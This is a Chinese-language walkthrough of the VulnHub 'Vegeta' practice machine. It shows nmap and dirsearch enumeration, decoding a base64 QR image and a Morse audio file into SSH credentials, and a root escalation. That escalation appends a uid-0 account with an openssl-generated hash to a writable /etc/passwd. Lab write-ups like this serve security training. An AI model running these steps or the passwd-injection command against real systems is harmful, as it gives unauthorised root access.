靶机实战系列之Vegeta靶机

文摘   科技   2024-10-30 09:39   北京  



声明

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靶机地址:

https://download.vulnhub.com/vegeta/Vegeta.ova


内容简介:

主机发现

端口扫描

信息收集

路径枚举

摩斯密码

数据编码还原

二维码解码

本地提权

 滑至文末,获取“searchall”下载链接!

1.1 主机发现

arp-scan  -l


1.2 端口扫描

nmap -p-   192.168.5.220


nmap -p22,80  -sV  -A   192.168.5.220 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-13 05:47 ESTNmap scan report for 192.168.5.220 (192.168.5.220)Host is up (0.00038s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey: | 2048 1f:31:30:67:3f:08:30:2e:6d:ae:e3:20:9e:bd:6b:ba (RSA)| 256 7d:88:55:a8:6f:56:c8:05:a4:73:82:dc:d8:db:47:59 (ECDSA)|_ 256 cc:de:de:4e:84:a8:91:f5:1a:d6:d2:a6:2e:9e:1c:e0 (ED25519)80/tcp open http Apache httpd 2.4.38 ((Debian))|_http-title: Site doesn't have a title (text/html).|_http-server-header: Apache/2.4.38 (Debian)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds


1.3 路径枚举


http://192.168.5.220/

访问对其爆破

知道访问到了 http://192.168.5.220/robots.txt  找到了  /find_me 路径http://192.168.5.220/find_me/find_me.html    找到了 这个 页面  访问它的 源代码

滑到最下面藏着一行字符串

aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElDQVlBQUFDdFdLNmVBQUFIaGtsRVFWUjRuTzJad1k0c09RZ0U1LzkvK3UyMU5TdTdCd3JTaVN0QzhoR2M0SXBMOTg4L0FGanljem9BZ0RNSUFyQUJRUUEySUFqQUJnUUIySUFnQUJzUUJHQURnZ0JzUUJDQURRZ0NzQUZCQURhRUJmbjUrUmwvbk9aTFAxeER6K3g5VTA1cWJoWjFkcjRzSFQyejkwMDVxYmxaMU5uNXNuVDB6TjQzNWFUbVpsRm41OHZTMFRONzM1U1RtcHRGblowdlMwZlA3SDFUVG1wdUZuVjJ2aXdkUGJQM1RUbXB1Vm5VMmZteWRQVE0zamZscE9hdVhKUVRUamxkSHZ0YmxvNDZOUWp5UjV4eUlvZ09CUGtqVGprUlJBZUMvQkdubkFpaUEwSCtpRk5PQk5HQklIL0VLU2VDNkVDUVArS1VFMEYwakJWRS9aSGM4SEhkUHZ1RWQwZVF3N003MWFtelRIaDNCRGs4dTFPZE9zdUVkMGVRdzdNNzFhbXpUSGgzQkRrOHUxT2RPc3VFZDBlUXc3TTcxYW16VEhoM0JEazh1MU9kT3N1RWQwZVFJcWJNNENUcmhKMGhTQkZUWmtDUUdBaFN4SlFaRUNRR2doUXhaUVlFaVlFZ1JVeVpBVUZpSUVnUlUyWkFrQmdJVXNTVUdSQWtCb0lVMFRHZjAxN2UrdTRJVXNScEtSRGtXYzVsdjNEQlN4ZjFqZE5TSU1pem5NdCs0WUtYTHVvYnA2VkFrR2M1bC8zQ0JTOWQxRGRPUzRFZ3ozSXUrNFVMWHJxb2I1eVdBa0dlNVZ6MkN4ZThkRkhmT0MwRmdqekx1ZXdYTGhCL2VGazZjcm84Mm9rc2IzMTNCQkgwdkNITFc5OGRRUVE5YjhqeTFuZEhFRUhQRzdLODlkMFJSTkR6aGl4dmZYY0VFZlM4SWN0YjN4MUJCRDF2eVBMV2R5OFZaTXJwV1BDYjY2YWNEQWdTbUkrNjJTY0RnZ1RtbzI3MnlZQWdnZm1vbTMweUlFaGdQdXBtbnd3SUVwaVB1dGtuQTRJRTVxTnU5c25nOVNPMkFjcmxQN212SXd2OEg3YjVDd1NCVDlqbUx4QUVQbUdidjBBUStJUnQvZ0pCNEJPMitRc0VnVS9ZNWk4UUJENlIvUS9pMURPTFU4OHBkV3FxY3lKSTBlenFubFBxMUNBSWdveXFVNE1nQ0RLcVRnMkNJTWlvT2pVSWdpQ2o2dFFnQ0lLTXFsTnpYQkExYnhZeWk5TU1UbStVeWwvZXNSZ0VpZU0wZzlNYnBmS1hkeXdHUWVJNHplRDBScW44NVIyTFFaQTRUak00dlZFcWYzbkhZaEFranRNTVRtK1V5bC9lc1JnRWllTTBnOU1icGZLWGR5d0dRZUk0emVEMFJxbjhwYzJTUTcxWkFxZlpwd2pTVWJmc2w2cEtoRU1RajV3SUVzeWZxa3FFUXhDUG5BZ1N6SitxU29SREVJK2NDQkxNbjZwS2hFTVFqNXdJRXN5ZnFrcUVReENQbkFnU3pKK3FTb1JERUkrY0NCTE1uNm9xRHVleWpLNmVhcHdFNmNpWjdabkttS29xRHVleWpLNmVhaEFFUVI3VnFYdXFRUkFFZVZTbjdxa0dRUkRrVVoyNnB4b0VRWkJIZGVxZWFoQUVRUjdWcVh1cVFaQ0JncWcvNWpmZjEvRngzUzdXOHE2cHdia1BRUkNFK3hDa01HZnFycW5CdVE5QkVJVDdFS1F3WitxdXFjRzVEMEVRaFBzUXBEQm42cTdLY0ZtY0hzYnBvM1RLMlpGbEFnaHlPQXVDZUlNZ2g3TWdpRGNJY2pnTGduaURJSWV6SUlnM0NISTRDNEo0Z3lDSHN5Q0lONldDM1A0d1RvL3RKTEo2TDhvc0NGSjBueG9FUVpDMkxCMzNxVUVRQkduTDBuR2ZHZ1JCa0xZc0hmZXBRUkFFYWN2U2NaOGFCRUdRdGl3ZDk2bEJrSUdDZE5TcGUyYnZVMzk0Nm5mb3lPazAzN0pmdU1Ba2VGZlA3SDFPSDE3MlBuVk9wL21XL2NJRkpzRzdlbWJ2Yy9yd3N2ZXBjenJOdCt3WExqQUozdFV6ZTUvVGg1ZTlUNTNUYWI1bHYzQ0JTZkN1bnRuN25ENjg3SDNxbkU3ekxmdUZDMHlDZC9YTTN1ZjA0V1h2VStkMG1tL1pMMXhnRXJ5clovWStwdzh2ZTU4NnA5Tjh5MzdoQXZHSGZzUHlPN0pNMmFkNlp3aGkrbWdkODkyd1R3UzU3RUU3WmtjUUJMbm1RVHRtUnhBRXVlWkJPMlpIRUFTNTVrRTdaa2NRQkxubVFUdG1SNUFYQ1hJNzZnKzJBN1dRSFZrNnhFcmxUMVZkRElKNFpFRVFVeERFSXd1Q21JSWdIbGtReEJRRThjaUNJS1lnaUVjV0JERUZRVHl5akJXa1kyRDFjV0xLQitUeXdYNERRUkFFUVlUM0ljaGhFS1FXQkVFUUJCSGVoeUNIUVpCYUVBUkJFRVI0SDRJY0JrRnFzUmJFaVk2Y04zek1UaCtzK28xUy9VNEg2QUpCRUFSQk5pQUlnaURJQmdSQkVBVFpnQ0FJZ2lBYkVBUkJFR1FEZ2lESUtFRnUrTGc2NW5QSzRuVFV1MTdlRlM0d2VqUjF6bzc1bkxJNEhmV3VsM2VGQzR3ZVRaMnpZejZuTEU1SHZldmxYZUVDbzBkVDUreVl6eW1MMDFIdmVubFh1TURvMGRRNU8rWnp5dUowMUx0ZTNoVXVNSG8wZGM2TytaeXlPQjMxcnBkM2hRdU1IazJkczJNK3B5eE9SNzNyNVYzaEFxTkhVK2QwMnN1VUxOTnpJb2h4M1ExWnB1ZEVFT082RzdKTXo0a2d4blUzWkptZUUwR002MjdJTWowbmdoalgzWkJsZWs0RU1hNjdJY3YwbkFoU3hKUVoxRDJuZkMvTEhKWExjQm9ZUVR4NlR2bGVsamtxbCtFME1JSjQ5Snp5dlN4elZDN0RhV0FFOGVnNTVYdFo1cWhjaHRQQUNPTFJjOHIzc3N4UnVReW5nUkhFbytlVTcyV1pvM0laVGdNamlFZlBLZC9MTWtmbE1weVk4bEVxSC9zSlRoODZnaFNBSUxVZ1NQT2kxQ0JJTFFqU3ZDZzFDRklMZ2pRdlNnMkMxSUlnell0U2d5QzFJRWp6b3RRZ1NDMElVckNvS1NjN245TmVzcHplZmNVTTJmbFMvU29EVERrZEMzYWF3U2tuZ2d3OEhRdDJtc0VwSjRJTVBCMExkcHJCS1NlQ0REd2RDM2Fhd1NrbmdndzhIUXQybXNFcEo0SU1QQjBMZHByQktlZnJCQUY0RXdnQ3NBRkJBRFlnQ01BR0JBSFlnQ0FBR3hBRVlBT0NBR3hBRUlBTkNBS3dBVUVBTmlBSXdBWUVBZGp3SHlVRnd2VnIwS3ZGQUFBQUFFbEZUa1N1UW1DQw==


1.4 数据编码还原


https://gchq.github.io/CyberChef/ 打开网站进行还原


还是base64编码,继续解密

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

得到png图片

将它保存成1.png

是一张二维码。


1.5 二维码解码

利用 Parse QR Code 模块  对 二维码 解码 得到  Password : topshellv




1.6 深度路径爬取


dirsearch -u  http://192.168.5.200/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

选择一个超大字典爬取出一个路径

http://192.168.5.220/bulma/

直到爬取出这个路径是一个声音文件


1.7 摩斯密码


下载到了

打开播放听声音之后发现是摩斯密码

audacity来播放

是这样的样子找摩尔密码码表去对应最后的字符
USER TRUNKS PASSWORD : US3R(S IN DOLLARS SYMBOL)
最终结果 trunks u$3r


1.8 本地提权


ssh  trunks@192.168.5.220   //密码为 u$3r

发现passwd文件能够改写 

那就简单了

生成一个123密码

openssl  passwd    123
pnldixB1F3vA2 直接写入
echo "user:pnldixB1F3vA2:0:0:root:/root:/bin/bash" >> /etc/passwd //直接写入 任意账户 密码123 ,权限为 root的账户

成功




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